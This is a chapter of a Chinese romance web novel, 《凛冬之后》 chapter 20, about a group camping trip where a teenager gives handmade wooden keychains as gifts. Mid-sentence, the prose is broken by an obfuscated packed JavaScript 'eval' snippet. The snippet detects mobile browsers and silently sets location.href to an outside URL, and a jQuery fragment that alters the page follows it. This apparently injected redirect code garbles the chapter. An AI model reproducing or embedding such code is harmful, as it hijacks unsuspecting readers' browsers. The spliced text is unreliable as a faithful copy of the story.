20. 铃兰花的花语
作品:《凛冬之后》 到了露营地,确实是人烟稀少,来对了,江宥一很满意这个地方。
“到哪儿了?”
邢弋给陈燃打去电话。
“就快到了,二十分钟。”
“好。”
邢弋把手机放进兜里,江宥一不知道什么时候站到了他身边。
“他们快来了。”
“嗯。”
“还冷吗?”
邢弋打量了下江宥一,她把手揣进口袋里,站得笔直,眼睛看着远处躲进云层里的山峰,美得像幅画。
“怎么,要是冷的话,你要把外套给我穿吗?”
江宥一说话越发大胆起来,那双生得极好看的眼睛就这么盯着邢弋。
“要是冷我们就先回去,取消行程,因为这个感冒不值当。”
他甚至没有回她眼神。
江宥一长叹一口气,摇摇头,不知道说他什么好。
“我不冷。”
她也淡淡回他这么一句,算是宣告生气。
邢弋扭头看了她一眼,低头弯弯嘴角,从兜里拿出两个暖宝宝。
“不冷也拿着。”
江宥一不可置信地看看邢弋,也是好哄,就这样乐呵呵地接过。
“你经常出来露营吗?”邢弋难得主动开口问。
“也不是,工作忙,休息的时候就想窝在家里。”
“嗯。”
“你呢?”
“一样。”
卢珮宁为了不打扰,一直躲在车里不下来,偶尔还会偷偷拍下两人站在一起的画面。
“以后你们婚礼,这照片都能当背景了。”她暗自嘀咕,想的也是远。
天气有点冷,等了十来分钟,几人决定先搭帐篷,边准备边等人。
“今天还有谁来啊?”
卢珮宁小声问江宥一。
“邢弋的两个同事,还有他同事的妹妹,江椿的同学。”
“他同事帅不帅,是不和你的邢弋一样,特有型?”
卢珮宁脸上写满期待,矜持什么的,在她这里不存在。
“帅!帅惨了!来了你就知道了!”
“好嘞,搞不好你姐妹我今天要在这里解决终身大事了,上周我用塔罗牌算了一算,这个月本人会有桃花哦!”
“那提前恭喜你了!”
邢弋回头看了一眼,两人笑得正开心。
“你们去车里等,我来就好。”
他从小动手能力就强,还送给姜桃过自己的木雕作品。
面对这么有绅士风度的邢弋,卢珮宁这个大小姐没客气。
“那就辛苦你啦!”
在卢珮宁的认知里,这本来就是男人该干的活,她也确实不会,就又坐回了车里。
江宥一没和她上车,这次还真不是为了创造接近邢弋的机会,她是真的心疼他,想搭把手。
“我来帮你。”
“我自己就可以。”
“以后在我面前,不要老说自己可以,很多事情,多个人帮忙你会轻松很多。”
邢弋听着这话,有些恍惚,这么些年,这话他只听到过两次。
一次是江宥一,一次是十七年前的姜桃。
邢弋只比姜桃大几个月,但他在她面前,永远像个大哥哥,事无巨细地照顾她。
但姜桃从未觉得邢弋的照顾是理所应当的,她曾对他说过。
“如果累了,就歇歇,有我呢。”
这句话温暖了邢弋很多年。
他甚至有些贪恋这与江宥一并肩站在一起的片刻的幸福。
“江椿呢?怎么还没到?”
邢弋挺喜欢江宥一这个弟弟,倔强又可爱,还挺讲义气。
“说是有惊喜,要半个小时之后才到。”
“你和你弟感情真好。”
“那是,毕竟一起长大的嘛!”
江宥一一句无心的回答刺痛了两个人的心。
她差一点就可以和他一起长大了。
没给两人太多单独相处的时间,陈燃带着两位女生也到位了。
“江小姐,好久不见!”
陈燃依旧热情。
“宥一姐姐好!江椿呢?”陈灼曦一下车就在寻找江椿的身影。
他受伤之后,江宥一干脆让他多请了一礼拜的假,她想让江椿躲躲学校里的风言风语。
所以陈灼曦一直没能见到他,也不知道他的伤还严不严重。
“江椿就快到了!”
江宥一很高兴,一向习惯独来独往的弟弟终于在学校里交到了新朋友。
潘茁从车上下来,手里抱着一个保温箱。
陈燃也从后备箱把烤炉、折叠桌等东西搬了下来。
“不是说东西我这里都会准备吗?你们怎么带了这么多?”
“没事儿,正好装备齐全,让你一个人破费也不合适。”
陈燃这人看着不靠谱,但关键时刻绝不掉链子。
卢珮宁听到动静,也从车里出来,小跑过来,表情却在看到陈燃的脸后僵住。
“是你?”
两人几乎是同时认出彼此的。
“你们认识?”
江宥一完全没想到,这两个八竿子打不着的人居然认识。
卢珮宁侧头小声在江宥一耳边说:“草履虫啊,他就是那个买了一箱橙子的冤大头‘草履虫’。”
江宥一若有所思地点点头,心想还真是冤家路窄。
上次的事情,陈燃心里一直过意不去,想当面和那个姑娘道个歉,他还以为不会再见到她了。
谁能想到,命运就是这么会捉弄人。
江宥一憋着笑主动介绍:“这是我朋友,卢珮宁,邢弋的同事,陈燃,潘茁,还有陈燃的妹妹,陈灼曦。”
“陆小姐,不知道你还记不记得我,咱俩之前见过,你当时在买橙子,然后我……”
陈燃自己都有些不好意思说出后面的故事。
“首先,我姓卢,卢沟桥的路,不是陆,其次,我当然记得你。”
卢珮宁知道陈燃是邢弋同事,已经尽量在控制自己的脾气了,只不过,上回陈燃实在是把她气得够呛。
陈燃看得出来卢珮宁不好惹,且她确实还没消气。
“卢小姐,上次的事情实在抱歉,是我误会你了。”
卢珮宁虽然生气,但陈燃道歉态度这样诚恳,她也不好意思继续揪着这事儿不放。
得饶人处且饶人。
“没事,事情已经过去了,既然大家都是朋友,以后这事儿就别再提了。”
她完完全全是看在江宥一和邢弋面子上才这样说的,但是心里依然对于陈燃这个愣头青居然是刑警存疑。
现在这年头什么人都能当警察啦?这么不分是非以后可怎么办案子。
虽然大家并不熟悉,但毕竟都是二十多岁的青年男女,聊到感兴趣的话题,偶尔也会笑作一团。
难得有机会出来放松,大家都挺开心。
男生负责烧烤,女生开始准备火锅食材,边干边聊,时间也过得快。
又是十几分钟过去,江椿从一辆白色比亚迪轿车上下来。
“姐,我来啦!”
他双手紧紧揣在兜里,一路跑过来。
“慢点儿?你伤还没好呢?”
江宥一时时刻刻都在担心这个弟弟。
“怎么来这么晚?”
“没什么,去取东西,耽误了点儿时间。”
江椿摆弄了下自己被风吹乱的头发。
“哦,你电话里跟我说有惊喜,是什么惊喜?”
江宥一用右肩撞撞江椿。
“一会儿你就知道了。”
“行,你小子鬼点子还挺多,呐,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970769|193215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是念叨你救命恩人好几天了吗,邢弋在那儿烤肉呢,过去打个招呼。”
“好嘞。”
江椿屁颠屁颠跑过去。
“邢弋哥,陈燃哥,上午好!”
十几岁的男孩儿,因为被人打伤送进医院,样子有够狼狈,再次和“恩人”见面,多少还是有点儿不好意思。
青春期嘛,面子还是要的,虽然声音里依旧听得出稚嫩,但表情可拽得很。
这算是他的伪装,只有看上去不好惹,在学校里才能不被欺负,能省不少事儿。
“早上好,看样子伤好的差不多了!”
邢弋抬头看他,他的精神状态确实比那天好多了。
“会烤肉吗?过来试试?”邢弋招呼他。
“嗯。”
他依旧双手插兜走过去,憋了好半天,才从兜里拿出一个木质钥匙链。
“哥,送你的,我自己做的,我姐说你喜欢木雕,我之前没怎么弄过,有点儿丑,别嫌弃。”
邢弋接过来,仔细端详,这孩子用椴木雕了个他的卡通形象,确实像那么回事儿。
“这小子还真有两把刷子啊,把你那儿劲儿劲儿的损样刻画得挺传神!”陈燃也凑过来观摩。
“谢谢你,有心了,礼物我很喜欢。”
这不是场面话,邢弋确实很喜欢。
送人礼物本来就不在贵贱,肯不肯用心最重要。
江椿这礼物一看就是花了心思的,邢弋自然高兴。
成功送出了礼物,江椿没再言语。
他也是个不会说漂亮话的孩子,平时话就少,在邢弋、陈燃这些不怎么熟悉的人面前,更是不怎么愿意开口。
不远处的江宥一看着弟弟在邢弋面前磨叽半天,也想知道这臭小子到底神神秘秘在忙些什么,就干脆把他叫过来问个清楚。
“江椿,过来吃点儿水果!”
她向他招手,江椿也是随叫随到。
“你刚给邢弋什么东西了?你准备的惊喜?”
江椿看她这一幅急不可耐的样子,觉得好笑。
还说不喜欢邢弋,对他的事情好奇心倒是蛮重。
这帮人都喜欢口是心非。
江椿又从口袋里拿出另一个木雕钥匙链,是一个穿着白色连衣短裙的卡通小女孩。
“喏,我刚给邢弋哥送的就是这个,给你也雕了一个,是不是很像你,情侣款的哦!”
江椿说完,表情意味深长。
江宥一没想到有朝一日会被弟弟开自己玩笑,神情有些不自然。
虽然她真的挺喜欢这个礼物,但也不好表现得太明显。
“小伙子,挺上道啊!”
卢珮宁不知道从哪儿冒出来,给江椿竖了个大拇指,遭到了江宥一的白眼警告。
“去去去,该干嘛干嘛去,别在我弟面前胡说!”
“你又没学过这个,手没受伤吧?”
江宥一把钥匙链放进兜里,拿起江椿的双手检查起来。
“姐,我不是小孩儿了,能保护好自己。”
“最好是。”
另一边,邢弋也把礼物收进口袋。
“刚才江椿说是江宥一告诉他你喜欢木雕的,她怎么知道?”
陈燃总算是聪明一回,居然发现了江椿这句话里最重要的信息。
“之前聊天的时候提起过。”
邢弋随便扯了个谎应付。
他才不会告诉陈燃,他九岁那年,第一个木雕作品,不会枯萎的铃兰花,送给了九岁的江宥一。
花了他半个月时间,也是他送给姜桃的最后一个礼物。
“这是什么花?”
“铃兰花。”
“好漂亮,可我喜欢雪莲,我想拥有超越苦难的坚强。”
“但我希望你以后能幸运一点,再幸运一点,而不只是坚强。”

